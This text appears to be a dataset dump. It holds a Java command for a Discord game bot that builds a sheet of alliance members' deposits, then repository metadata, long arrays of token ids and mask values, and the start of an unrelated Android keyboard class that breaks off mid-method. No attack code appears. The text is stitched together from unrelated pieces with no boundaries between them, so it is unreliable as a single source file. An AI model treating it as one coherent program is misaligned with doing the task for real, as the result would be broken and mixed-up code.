import link.locutus.discord.util.PW;
import net.dv8tion.jda.api.entities.Guild;
import net.dv8tion.jda.api.entities.User;
import java.util.*;
import java.util.stream.Collectors;
import static link.locutus.discord.apiv1.enums.ResourceType.convertedTotal;
import static link.locutus.discord.apiv1.enums.ResourceType.resourcesToString;
public class DepositsSheet extends Command {
public DepositsSheet() {
super("DepositsSheet", "DepositSheet", CommandCategory.ECON, CommandCategory.GAME_INFO_AND_TOOLS, CommandCategory.GOV);
}
@Override
public boolean checkPermission(Guild server, User user) {
return Roles.ECON.has(user, server);
}
@Override
public String help() {
return super.help() + " [nations] [offshores]";
}
@Override
public String desc() {
return "Get a list of nations and their deposits.\n" +
"Add `-b` to use 0/0 as the tax base\n" +
"Add `-o` to not include any manual deposit offsets\n" +
"Add `-d` to not include deposits\n" +
"Add `-t` to not include taxes\n" +
"Add `-l` to not include loans\n" +
"Add `-g` to not include grants`\n" +
"Add `-f` to force an update\n" +
"Add `-p` to include all past members\n" +
"Add `-e` to exclude the escrow sheet";
}
@Override
public String onCommand(Guild guild, IMessageIO channel, User author, DBNation me, String fullCommandRaw, List<String> args, Set<Character> flags) throws Exception {
GuildDB db = Locutus.imp().getGuildDB(guild);
String noteFlow = DiscordUtil.parseArg(args, "flow");
Set<Long> tracked = null;
Set<DBNation> nations;
if (args.isEmpty()) {
nations = null;
} else {
nations = (DiscordUtil.parseNations(guild, author, me, args.get(0), false, true));
if (args.size() == 2) {
Set<Integer> alliances = DiscordUtil.parseAllianceIds(guild, args.get(1));
tracked = new LinkedHashSet<>();
for (Integer alliance : alliances) tracked.add(alliance.longValue());
tracked = PW.expandCoalition(tracked);
}
}
return BankCommands.depositSheet(
channel,
guild,
db,
nations,
tracked == null ? null : new ArrayList<>(tracked).stream().map(f -> DBAlliance.getOrCreate(f.intValue())).collect(Collectors.toSet()),
flags.contains('f'),
flags.contains('o'),
flags.contains('t'),
flags.contains('l'),
flags.contains('g'),
flags.contains('d'),
flags.contains('p') ? db.getAllianceIds() : null,
flags.contains('e'),
noteFlow == null ? null : PWBindings.DepositType(noteFlow),
flags.contains('f')
);
//
// CompletableFuture<IMessageBuilder> msgFuture = channel.sendMessage("Please wait...");
//
// SpreadSheet sheet = SpreadSheet.create(db, SheetKeys.DEPOSITS_SHEET);
//
// List<Object> header = new ArrayList<>(Arrays.asList(
// "nation",
// "cities",
// "age",
// "deposit",
// "tax",
// "loan",
// "grant",
// "total",
// "last_deposit_day"
// ));
//
// for (ResourceType type : ResourceType.values()) {
// if (type == ResourceType.CREDITS) continue;
// header.add(type.name());
// }
//
// sheet.setHeader(header);
//
// boolean useTaxBase = !flags.contains('b');
// boolean useOffset = !flags.contains('o');
// boolean noLoans = flags.contains('l');
// boolean noGrants = flags.contains('g');
// boolean noTaxes = flags.contains('t');
// boolean noDeposits = flags.contains('d');
//
// double[] aaTotalPositive = ResourceType.getBuffer();
// double[] aaTotalNet = ResourceType.getBuffer();
//
// long last = System.currentTimeMillis();
// for (DBNation nation : nations) {
// if (System.currentTimeMillis() - last > 10000) {
// IMessageBuilder msg = msgFuture.get();
// if (msg != null) {
// msg.clear();
// msg.append("calculating for: " + nation.getNation()).send();
// }
// last = System.currentTimeMillis();
// }
// Map<DepositType, double[]> deposits = nation.getDeposits(db, tracked, useTaxBase, useOffset, 0L, 0L);
// double[] buffer = ResourceType.getBuffer();
//
// header.set(0, MarkupUtil.sheetUrl(nation.getNation(), nation.getNationUrl()));
// header.set(1, nation.getCities());
// header.set(2, nation.getAgeDays());
// header.set(3, String.format("%.2f", PW.convertedTotal(deposits.getOrDefault(DepositType.DEPOSIT, buffer))));
// header.set(4, String.format("%.2f", PW.convertedTotal(deposits.getOrDefault(DepositType.TAX, buffer))));
// header.set(5, String.format("%.2f", PW.convertedTotal(deposits.getOrDefault(DepositType.LOAN, buffer))));
// header.set(6, String.format("%.2f", PW.convertedTotal(deposits.getOrDefault(DepositType.GRANT, buffer))));
// double[] total = ResourceType.getBuffer();
// for (Map.Entry<DepositType, double[]> entry : deposits.entrySet()) {
// switch (entry.getKey()) {
// case GRANT:
// if (noGrants) continue;
// break;
// case LOAN:
// if (noLoans) continue;
// break;
// case TAX:
// if (noTaxes) continue;
// break;
// case DEPOSIT:
// if (noDeposits) continue;
// break;
// }
// double[] value = entry.getValue();
// total = ArrayUtil.apply(ArrayUtil.DOUBLE_ADD, total, value);
// }
// header.set(7, String.format("%.2f", PW.convertedTotal(total)));
// List<Transaction2> transactions = nation.getTransactions(Long.MAX_VALUE);
// long lastDeposit = 0;
// for (Transaction2 transaction : transactions) {
// if (transaction.sender_id == nation.getNation_id()) {
// lastDeposit = Math.max(transaction.tx_datetime, lastDeposit);
// }
// }
// if (lastDeposit == 0) {
// header.set(8, "NEVER");
// } else {
// long days = TimeUnit.MILLISECONDS.toDays(System.currentTimeMillis() - lastDeposit);
// header.set(8, days);
// }
// int i = 9;
// for (ResourceType type : ResourceType.values) {
// if (type == ResourceType.CREDITS) continue;
// header.set((i++), total[type.ordinal()]);
// }
// double[] normalized = PW.normalize(total);
// if (PW.convertedTotal(normalized) > 0) {
// aaTotalPositive = ArrayUtil.apply(ArrayUtil.DOUBLE_ADD, aaTotalPositive, normalized);
// }
// aaTotalNet = ArrayUtil.apply(ArrayUtil.DOUBLE_ADD, aaTotalNet, total);
// sheet.addRow(header);
// }
//
// sheet.clearAll();
// sheet.write();
//
// StringBuilder footer = new StringBuilder();
// footer.append(PW.resourcesToFancyString(aaTotalPositive, "Nation Deposits (" + nations.size() + " nations)"));
//
// String type = "";
// OffshoreInstance offshore = db.getOffshore();
// double[] aaDeposits;
// if (offshore != null && offshore.getGuildDB() != db) {
// type = "offshored";
// aaDeposits = offshore.getDeposits(db);
// } else if (db.isValidAlliance()){
// type = "bank stockpile";
// aaDeposits = PW.resourcesToArray(db.getAllianceList().getStockpile());
// } else aaDeposits = null;
// if (aaDeposits != null) {
// if (PW.convertedTotal(aaDeposits) > 0) {
// for (int i = 0; i < aaDeposits.length; i++) {
// aaTotalNet[i] = aaDeposits[i] - aaTotalNet[i];
// aaTotalPositive[i] = aaDeposits[i] - aaTotalPositive[i];
//
// }
// footer.append("\n**Total " + type + "- nation deposits (negatives normalized)**: Worth: $" + MathMan.format(PW.convertedTotal(aaTotalPositive)) + "\n`" + PW.resourcesToString(aaTotalPositive) + "`");
// footer.append("\n**Total " + type + "- nation deposits**: Worth: $" + MathMan.format(PW.convertedTotal(aaTotalNet)) + "\n`" + PW.resourcesToString(aaTotalNet) + "`");
// } else {
// footer.append("\n**No funds are currently " + type + "**");
// }
// }
//
// sheet.attach(channel.create(), footer.toString()).send();
// return null;
}
}
| 9,897
|
Java
|
.java
|
xdnw/locutus
| 17
| 6
| 7
|
2022-05-31T18:42:39Z
|
2024-05-09T08:02:55Z
|
d3dcdbc21612a4f47093497b7a710eac5db6ec7483991b7ab143dc550f2df343
|
[
1337,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
29804,
64,
222,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1624,
322,
371,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
4031,
51,
2037,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
4031,
51,
2037,
4236,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
4031,
51,
123,
55,
51,
2514,
51,
78,
1193,
2354,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
4031,
51,
123,
55,
51,
3126,
51,
9733,
51,
9987,
51,
24483,
17391,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
7626,
51,
4031,
51,
123,
55,
51,
3126,
51,
9733,
51,
7626,
51,
12212,
9769,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1219,
51,
23494,
2015,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1219,
51,
9259,
51,
2015,
1523,
4352,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1219,
51,
9259,
51,
2015,
83,
387,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
514,
51,
12840,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1058,
51,
14924,
51,
27860,
1747,
64,
222,
485,
2572,
51,
901,
322,
371,
51,
14924,
51,
1058,
51,
24483,
64,
222,
485,
3723,
51,
8698,
61,
9106,
51,
111,
1830,
51,
1256,
51,
9259,
51,
23494,
64,
222,
485,
3723,
51,
8698,
61,
9106,
51,
111,
1830,
51,
1256,
51,
9259,
51,
1259,
64,
222,
222,
485,
1401,
51,
1058,
7737,
222,
485,
1401,
51,
1058,
51,
2255,
51,
16862,
64,
222,
222,
485,
924,
2572,
51,
901,
322,
371,
51,
14924,
51,
28517,
54,
51,
20767,
51,
27063,
51,
36042,
4767,
64,
222,
485,
924,
2572,
51,
901,
322,
371,
51,
14924,
51,
28517,
54,
51,
20767,
51,
27063,
51,
5390,
4602,
64,
222,
222,
942,
462,
5412,
519,
1526,
8337,
2041,
5730,
320,
303,
581,
5412,
519,
1526,
8337,
365,
320,
310,
2615,
459,
703,
47775,
8337,
411,
332,
28327,
8337,
411,
5730,
4236,
51,
74,
1742,
49,
5730,
4236,
51,
25404,
100,
1608,
100,
3362,
100,
31106,
49,
5730,
4236,
51,
7001,
91,
312,
303,
339,
465,
496,
1806,
303,
581,
1922,
1524,
7052,
45,
23494,
2160,
49,
2694,
1275,
46,
320,
310,
461,
37768,
51,
74,
1742,
51,
2057,
45,
514,
49,
2160,
312,
303,
339,
465,
496,
1806,
303,
581,
910,
3071,
365,
320,
310,
461,
2615,
51,
4771,
365,
494,
332,
447,
115,
1014,
98,
447,
1739,
635,
6868,
41819,
303,
339,
465,
496,
1806,
303,
581,
910,
5615,
365,
320,
310,
461,
332,
953,
331,
1168,
451,
329,
1014,
480,
3641,
428,
47775,
5339,
115,
39,
494,
419,
332,
1121,
14516,
103,
101,
391,
813,
244,
53,
52,
53,
641,
341,
13276,
1712,
97,
115,
39,
494,
419,
332,
1121,
14516,
116,
101,
391,
666,
2323,
1364,
13258,
29161,
21003,
97,
115,
39,
494,
419,
332,
1121,
14516,
105,
101,
391,
666,
2323,
428,
47775,
97,
115,
39,
494,
419,
332,
1121,
14516,
121,
101,
391,
666,
2323,
13276,
326,
97,
115,
39,
494,
419,
332,
1121,
14516,
113,
101,
391,
666,
2323,
617,
711,
97,
115,
39,
494,
419,
332,
1121,
14516,
108,
101,
391,
666,
2323,
2935,
2392,
28114,
115,
39,
494,
419,
332,
1121,
14516,
107,
101,
391,
7679,
619,
1991,
97,
115,
39,
494,
419,
332,
1121,
14516,
117,
101,
391,
2323,
1187,
11181,
9007,
97,
115,
39,
494,
419,
332,
1121,
14516,
106,
101,
391,
11270,
341,
15025,
661,
13068,
884,
303,
339,
465,
496,
1806,
303,
581,
910,
563,
2037,
45,
23494,
19228,
49,
457,
1193,
2354,
3842,
49,
2694,
4096,
49,
4594,
83,
387,
616,
49,
910,
3559,
2037,
6200,
49,
1701,
65,
671,
67,
2194,
49,
1776,
65,
6891,
67,
5748,
46,
2589,
3284,
320,
310,
38630,
2015,
3100,
299,
4607,
322,
371,
51,
440,
941,
390,
23494,
2015,
45,
13454,
312,
310,
910,
6013,
4078,
299,
22063,
1747,
51,
2228,
1782,
45,
1150,
49,
332,
1888,
742,
603,
1776,
65,
3967,
67,
29695,
299,
762,
64,
603,
1776,
65,
2015,
83,
387,
67,
329,
1014,
64,
310,
434,
327,
1150,
51,
6401,
1177,
320,
343,
329,
1014,
299,
762,
64,
310,
339,
832,
320,
343,
329,
1014,
299,
327,
27860,
1747,
51,
2228,
83,
1014,
45,
13454,
49,
4096,
49,
616,
49,
2194,
51,
390,
45,
53,
490,
920,
49,
878,
894,
343,
434,
327,
1150,
51,
911,
365,
630,
244,
55,
46,
320,
419,
1776,
65,
3078,
67,
763,
393,
3172,
299,
22063,
1747,
51,
2228,
1523,
4352,
5345,
45,
13454,
49,
2194,
51,
390,
45,
54,
894,
419,
29695,
299,
556,
18218,
17163,
6984,
419,
456,
327,
3078,
763,
4352,
518,
763,
393,
3172,
46,
29695,
51,
688,
45,
298,
4352,
51,
41928,
1052,
419,
29695,
299,
466,
92,
51,
8976,
2253,
298,
714,
45,
28194,
312,
343,
339,
310,
339,
603,
461,
22557,
9769,
51,
26249,
8337,
45,
419,
3842,
49,
419,
19228,
49,
419,
3100,
49,
419,
329,
1014,
49,
419,
29695,
630,
762,
1037,
762,
518,
556,
5068,
11530,
28194,
566,
2255,
941,
1130,
45,
107,
984,
4594,
1523,
4352,
51,
390,
25276,
45,
107,
51,
22777,
22293,
6190,
45,
16862,
51,
45995,
6198,
419,
5748,
51,
4766,
482,
107,
1444,
419,
5748,
51,
4766,
482,
116,
1444,
419,
5748,
51,
4766,
482,
121,
1444,
419,
5748,
51,
4766,
482,
113,
1444,
419,
5748,
51,
4766,
482,
108,
1444,
419,
5748,
51,
4766,
482,
105,
1444,
419,
5748,
51,
4766,
482,
117,
704,
1037,
3100,
51,
390,
1523,
4352,
5345,
365,
518,
762,
49,
419,
5748,
51,
4766,
482,
106,
1444,
419,
6013,
4078,
630,
762,
1037,
762,
518,
466,
92,
17391,
51,
28327,
638,
45,
5774,
4078,
490,
419,
5748,
51,
4766,
482,
107,
704,
310,
1110,
222,
325,
222,
325,
370,
40364,
65,
78,
1193,
1812,
67,
3141,
8271,
299,
3842,
51,
19693,
459,
6578,
4483,
19874,
222,
325,
222,
325,
370,
5034,
870,
8337,
13068,
299,
5034,
870,
8337,
51,
1315,
45,
1219,
49,
32944,
5044,
51,
869,
8351,
11007,
100,
27993,
1235,
312,
222,
325,
222,
325,
370,
1701,
65,
976,
67,
3353,
299,
556,
5068,
11530,
9981,
51,
14100,
45,
222,
325,
1485,
332,
115,
387,
411,
222,
325,
1485,
332,
32200,
411,
222,
325,
1485,
332,
400,
411,
222,
325,
1485,
332,
26249,
411,
222,
325,
1485,
332,
9164,
411,
222,
325,
1485,
332,
24543,
411,
222,
325,
1485,
332,
21099,
411,
222,
325,
1485,
332,
3025,
411,
222,
325,
1485,
332,
2153,
100,
26249,
100,
3386,
39,
222,
325,
370,
11979,
222,
325,
222,
325,
370,
456,
327,
27063,
847,
518,
6297,
638,
51,
2857,
1177,
320,
222,
325,
1485,
434,
327,
700,
630,
6297,
638,
51,
32002,
11007,
46,
4056,
64,
222,
325,
1485,
3353,
51,
688,
45,
700,
51,
444,
1052,
222,
325,
370,
339,
222,
325,
222,
325,
370,
13068,
51,
31400,
45,
2127,
312,
222,
325,
222,
325,
370,
1922,
813,
12525,
1778,
299,
673,
4560,
51,
4766,
482,
103,
912,
222,
325,
370,
1922,
813,
3468,
299,
673,
4560,
51,
4766,
482,
116,
912,
222,
325,
370,
1922,
1307,
1789,
711,
299,
5748,
51,
4766,
482,
113,
912,
222,
325,
370,
1922,
1307,
4863,
2392,
299,
5748,
51,
4766,
482,
108,
912,
222,
325,
370,
1922,
1307,
12525,
326,
299,
5748,
51,
4766,
482,
121,
912,
222,
325,
370,
1922,
1307,
703,
47775,
299,
5748,
51,
4766,
482,
105,
912,
222,
325,
222,
325,
370,
2082,
1197,
27167,
4767,
17982,
299,
6297,
638,
51,
390,
2030,
492,
222,
325,
370,
2082,
1197,
27167,
4767,
3598,
299,
6297,
638,
51,
390,
2030,
492,
222,
325,
222,
325,
370,
1964,
2419,
299,
1189,
51,
17217,
492,
222,
325,
370,
456,
327,
2015,
83,
387,
329,
387,
518,
329,
1014,
46,
320,
222,
325,
1485,
434,
327,
1615,
51,
17217,
365,
449,
2419,
868,
244,
54,
53,
53,
53,
53,
46,
320,
222,
325,
2087,
457,
1193,
1812,
3141,
299,
3141,
8271,
51,
390,
492,
222,
325,
2087,
434,
327,
2093,
882,
762,
46,
320,
222,
325,
4714,
3141,
51,
3830,
492,
222,
325,
4714,
3141,
51,
1713,
459,
15221,
1761,
456,
63,
332,
494,
329,
387,
51,
47302,
387,
4269,
2729,
492,
222,
325,
2087,
339,
222,
325,
2087,
2419,
299,
1189,
51,
17217,
492,
222,
325,
1485,
339,
222,
325,
1485,
3531,
65,
28327,
638,
49,
2082,
16420,
428,
47775,
299,
329,
387,
51,
390,
703,
47775,
45,
1219,
49,
29695,
49,
813,
12525,
1778,
49,
813,
3468,
49,
244,
53,
81,
49,
244,
53,
81,
312,
222,
325,
1485,
2082,
1197,
3129,
299,
6297,
638,
51,
390,
2030,
492,
222,
325,
222,
325,
1485,
3353,
51,
489,
45,
53,
49,
7797,
436,
1747,
51,
7161,
2226,
45,
115,
387,
51,
47302,
387,
1046,
329,
387,
51,
47302,
387,
2226,
5086,
222,
325,
1485,
3353,
51,
489,
45,
54,
49,
329,
387,
51,
11641,
2130,
1052,
222,
325,
1485,
3353,
51,
489,
45,
55,
49,
329,
387,
51,
390,
12475,
11964,
1052,
222,
325,
1485,
3353,
51,
489,
45,
56,
49,
910,
51,
1664,
4923,
51,
55,
107,
411,
466,
92,
51,
36042,
4767,
45,
305,
47775,
51,
390,
13637,
45,
28327,
638,
51,
869,
24011,
49,
3129,
21433,
222,
325,
1485,
3353,
51,
489,
45,
57,
49,
910,
51,
1664,
4923,
51,
55,
107,
411,
466,
92,
51,
36042,
4767,
45,
305,
47775,
51,
390,
13637,
45,
28327,
638,
51,
89,
4311,
49,
3129,
21433,
222,
325,
1485,
3353,
51,
489,
45,
58,
49,
910,
51,
1664,
4923,
51,
55,
107,
411,
466,
92,
51,
36042,
4767,
45,
305,
47775,
51,
390,
13637,
45,
28327,
638,
51,
1323,
946,
49,
3129,
21433,
222,
325,
1485,
3353,
51,
489,
45,
59,
49,
910,
51,
1664,
4923,
51,
55,
107,
411,
466,
92,
51,
36042,
4767,
45,
305,
47775,
51,
390,
13637,
45,
28327,
638,
51,
45323,
49,
3129,
21433,
222,
325,
1485,
2082,
1197,
3410,
299,
6297,
638,
51,
390,
2030,
492,
222,
325,
1485,
456,
327,
1225,
51,
2717,
65,
28327,
638,
49,
2082,
16420,
3429,
518,
428,
47775,
51,
24338,
1177,
320,
222,
325,
2087,
3593,
327,
3054,
51,
11728,
1177,
320,
222,
325,
4714,
1152,
590,
2587,
89,
63,
222,
325,
6813,
434,
327,
1365,
4863,
2392,
46,
4056,
64,
222,
325,
6813,
1644,
64,
222,
325,
4714,
1152,
3920,
946,
63,
222,
325,
6813,
434,
327,
1365,
1789,
711,
46,
4056,
64,
222,
325,
6813,
1644,
64,
222,
325,
4714,
1152,
413,
4311,
63,
222,
325,
6813,
434,
327,
1365,
12525,
326,
46,
4056,
64,
222,
325,
6813,
1644,
64,
222,
325,
4714,
1152,
2295,
24011,
63,
222,
325,
6813,
434,
327,
1365,
703,
47775,
46,
4056,
64,
222,
325,
6813,
1644,
64,
222,
325,
2087,
339,
222,
325,
2087,
2082,
1197,
804,
299,
3429,
51,
6693,
492,
222,
325,
2087,
3410,
299,
2647,
1747,
51,
4740,
45,
1280,
1747,
51,
15774,
100,
5375,
49,
3410,
49,
804,
312,
222,
325,
1485,
339,
222,
325,
1485,
3353,
51,
489,
45,
60,
49,
910,
51,
1664,
4923,
51,
55,
107,
411,
466,
92,
51,
36042,
4767,
45,
3025,
4254,
222,
325,
1485,
1701,
65,
4331,
55,
67,
14869,
299,
329,
387,
51,
390,
18278,
45,
3967,
51,
3470,
100,
5986,
312,
222,
325,
1485,
1964,
2419,
28327,
299,
244,
53,
64,
222,
325,
1485,
456,
327,
4331,
55,
6148,
518,
14869,
46,
320,
222,
325,
2087,
434,
327,
6561,
51,
8272,
100,
333,
630,
329,
387,
51,
47302,
387,
100,
333,
1177,
320,
222,
325,
4714,
2419,
28327,
299,
4189,
51,
1472,
45,
6561,
51,
1500,
100,
6703,
49,
2419,
28327,
312,
222,
325,
2087,
339,
222,
325,
1485,
339,
222,
325,
1485,
434,
327,
2153,
28327,
630,
244,
53,
46,
320,
222,
325,
2087,
3353,
51,
489,
45,
61,
49,
332,
3585,
1986,
742,
222,
325,
1485,
339,
832,
320,
222,
325,
2087,
1964,
6952,
299,
22458,
51,
39050,
51,
471,
11964,
45,
1615,
51,
17217,
365,
449,
2419,
28327,
312,
222,
325,
2087,
3353,
51,
489,
45,
61,
49,
6952,
312,
222,
325,
1485,
339,
222,
325,
1485,
648,
613,
299,
244,
62,
64,
222,
325,
1485,
456,
327,
27063,
847,
518,
6297,
638,
51,
2857,
46,
320,
222,
325,
2087,
434,
327,
700,
630,
6297,
638,
51,
32002,
11007,
46,
4056,
64,
222,
325,
2087,
3353,
51,
489,
1181,
110,
1065,
490,
3410,
96,
700,
51,
18537,
36584,
222,
325,
1485,
339,
222,
325,
1485,
2082,
1197,
17711,
299,
466,
92,
51,
13038,
45,
3025,
312,
222,
325,
1485,
434,
327,
24483,
51,
36042,
4767,
45,
20318,
46,
868,
244,
53,
46,
320,
222,
325,
2087,
27167,
4767,
17982,
299,
2647,
1747,
51,
4740,
45,
1280,
1747,
51,
15774,
100,
5375,
49,
27167,
4767,
17982,
49,
17711,
312,
222,
325,
1485,
339,
222,
325,
1485,
27167,
4767,
3598,
299,
2647,
1747,
51,
4740,
45,
1280,
1747,
51,
15774,
100,
5375,
49,
27167,
4767,
3598,
49,
3410,
312,
222,
325,
1485,
13068,
51,
688,
2368,
45,
2127,
312,
222,
325,
370,
339,
222,
325,
222,
325,
370,
13068,
51,
3830,
1947,
492,
222,
325,
370,
13068,
51,
1838,
492,
222,
325,
222,
325,
370,
9705,
15968,
299,
556,
9705,
492,
222,
325,
370,
15968,
51,
1713,
45,
24483,
51,
5390,
724,
75,
10367,
671,
45,
2336,
4767,
17982,
49,
332,
83,
387,
5412,
519,
1526,
2903,
494,
329,
1014,
51,
911,
365,
494,
332,
329,
1014,
46,
2992,
222,
325,
222,
325,
370,
910,
847,
299,
5127,
222,
325,
370,
7467,
635,
705,
1825,
2143,
635,
705,
299,
3100,
51,
390,
2542,
635,
705,
492,
222,
325,
370,
2082,
1197,
27167,
703,
47775,
64,
222,
325,
370,
434,
327,
1739,
635,
705,
882,
762,
979,
2143,
635,
705,
51,
390,
23494,
2015,
365,
882,
3100,
46,
320,
222,
325,
1485,
847,
299,
332,
1739,
635,
12842,
884,
222,
325,
1485,
27167,
703,
47775,
299,
2143,
635,
705,
51,
390,
703,
47775,
45,
1219,
312,
222,
325,
370,
339,
832,
434,
327,
1219,
51,
13431,
1523,
4352,
13059,
222,
325,
1485,
847,
299,
332,
8922,
13048,
117,
433,
884,
222,
325,
1485,
27167,
703,
47775,
299,
466,
92,
51,
5390,
14310,
45,
1219,
51,
390,
1523,
4352,
739,
941,
390,
14050,
117,
433,
1052,
222,
325,
370,
339,
832,
27167,
703,
47775,
299,
762,
64,
222,
325,
370,
434,
327,
2336,
703,
47775,
882,
762,
46,
320,
222,
325,
1485,
434,
327,
24483,
51,
36042,
4767,
45,
2336,
703,
47775,
46,
868,
244,
53,
46,
320,
222,
325,
2087,
456,
327,
429,
613,
299,
244,
53,
64,
613,
350,
27167,
703,
47775,
51,
1340,
64,
613,
2002,
320,
222,
325,
4714,
27167,
4767,
3598,
96,
110,
98,
299,
27167,
703,
47775,
96,
110,
98,
449,
27167,
4767,
3598,
96,
110,
988,
222,
325,
4714,
27167,
4767,
17982,
96,
110,
98,
299,
27167,
703,
47775,
96,
110,
98,
449,
27167,
4767,
17982,
96,
110,
988,
222,
325,
222,
325,
2087,
339,
222,
325,
2087,
15968,
51,
1713,
5564,
115,
345,
4767,
332,
494,
847,
494,
4840,
329,
387,
428,
47775,
327,
8141,
11198,
17711,
46,
4941,
244,
643,
6729,
63,
17504,
494,
4189,
1272,
51,
1664,
45,
24483,
51,
36042,
4767,
45,
2336,
4767,
17982,
509,
494,
2724,
115,
32222,
494,
466,
92,
51,
5390,
4602,
45,
2336,
4767,
17982,
46,
494,
20056,
742,
222,
325,
2087,
15968,
51,
1713,
5564,
115,
345,
4767,
332,
494,
847,
494,
4840,
329,
387,
428,
47775,
4941,
244,
643,
6729,
63,
17504,
494,
4189,
1272,
51,
1664,
45,
24483,
51,
36042,
4767,
45,
2336,
4767,
3598,
509,
494,
2724,
115,
32222,
494,
466,
92,
51,
5390,
4602,
45,
2336,
4767,
3598,
46,
494,
20056,
742,
222,
325,
1485,
339,
832,
320,
222,
325,
2087,
15968,
51,
1713,
5564,
115,
345,
2042,
33913,
904,
5937,
332,
494,
847,
494,
32958,
742,
222,
325,
1485,
339,
222,
325,
370,
339,
222,
325,
222,
325,
370,
13068,
51,
9962,
45,
3253,
51,
1315,
1046,
15968,
51,
3127,
4269,
2729,
492,
222,
325,
370,
461,
762,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 2,682
| true
| 54.824694
| true
| true
|
KeyboardSwitcher.java
|
/FileExtraction/Java_unseen/openboard-team_openboard/app/src/main/java/org/dslul/openboard/inputmethod/keyboard/KeyboardSwitcher.java
|
/*
* Copyright (C) 2008 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.dslul.openboard.inputmethod.keyboard;
import android.content.Context;
import android.content.res.Configuration;
import android.content.res.Resources;
import android.util.Log;
import android.view.ContextThemeWrapper;
import android.view.LayoutInflater;
import android.view.View;
import android.view.inputmethod.EditorInfo;
import org.dslul.openboard.inputmethod.event.Event;
import org.dslul.openboard.inputmethod.keyboard.KeyboardLayoutSet.KeyboardLayoutSetException;
import org.dslul.openboard.inputmethod.keyboard.clipboard.ClipboardHistoryView;
import org.dslul.openboard.inputmethod.keyboard.emoji.EmojiPalettesView;
import org.dslul.openboard.inputmethod.keyboard.internal.KeyboardState;
import org.dslul.openboard.inputmethod.keyboard.internal.KeyboardTextsSet;
import org.dslul.openboard.inputmethod.latin.InputView;
import org.dslul.openboard.inputmethod.latin.KeyboardWrapperView;
import org.dslul.openboard.inputmethod.latin.LatinIME;
import org.dslul.openboard.inputmethod.latin.R;
import org.dslul.openboard.inputmethod.latin.RichInputMethodManager;
import org.dslul.openboard.inputmethod.latin.WordComposer;
import org.dslul.openboard.inputmethod.latin.define.ProductionFlags;
import org.dslul.openboard.inputmethod.latin.settings.Settings;
import org.dslul.openboard.inputmethod.latin.settings.SettingsValues;
import org.dslul.openboard.inputmethod.latin.utils.CapsModeUtils;
import org.dslul.openboard.inputmethod.latin.utils.LanguageOnSpacebarUtils;
import org.dslul.openboard.inputmethod.latin.utils.RecapitalizeStatus;
import org.dslul.openboard.inputmethod.latin.utils.ResourceUtils;
import org.dslul.openboard.inputmethod.latin.utils.ScriptUtils;
import javax.annotation.Nonnull;
public final class KeyboardSwitcher implements KeyboardState.SwitchActions {
private static final String TAG = KeyboardSwitcher.class.getSimpleName();
private InputView mCurrentInputView;
private KeyboardWrapperView mKeyboardViewWrapper;
private View mMainKeyboardFrame;
private MainKeyboardView mKeyboardView;
private EmojiPalettesView mEmojiPalettesView;
private ClipboardHistoryView mClipboardHistoryView;
private LatinIME mLatinIME;
private RichInputMethodManager mRichImm;
private boolean mIsHardwareAcceleratedDrawingEnabled;
private KeyboardState mState;
private KeyboardLayoutSet mKeyboardLayoutSet;
// TODO: The following {@link KeyboardTextsSet} should be in {@link KeyboardLayoutSet}.
private final KeyboardTextsSet mKeyboardTextsSet = new KeyboardTextsSet();
private KeyboardTheme mKeyboardTheme;
private Context mThemeContext;
private int mCurrentUiMode;
private static final KeyboardSwitcher sInstance = new KeyboardSwitcher();
public static KeyboardSwitcher getInstance() {
return sInstance;
}
private KeyboardSwitcher() {
// Intentional empty constructor for singleton.
}
public static void init(final LatinIME latinIme) {
sInstance.initInternal(latinIme);
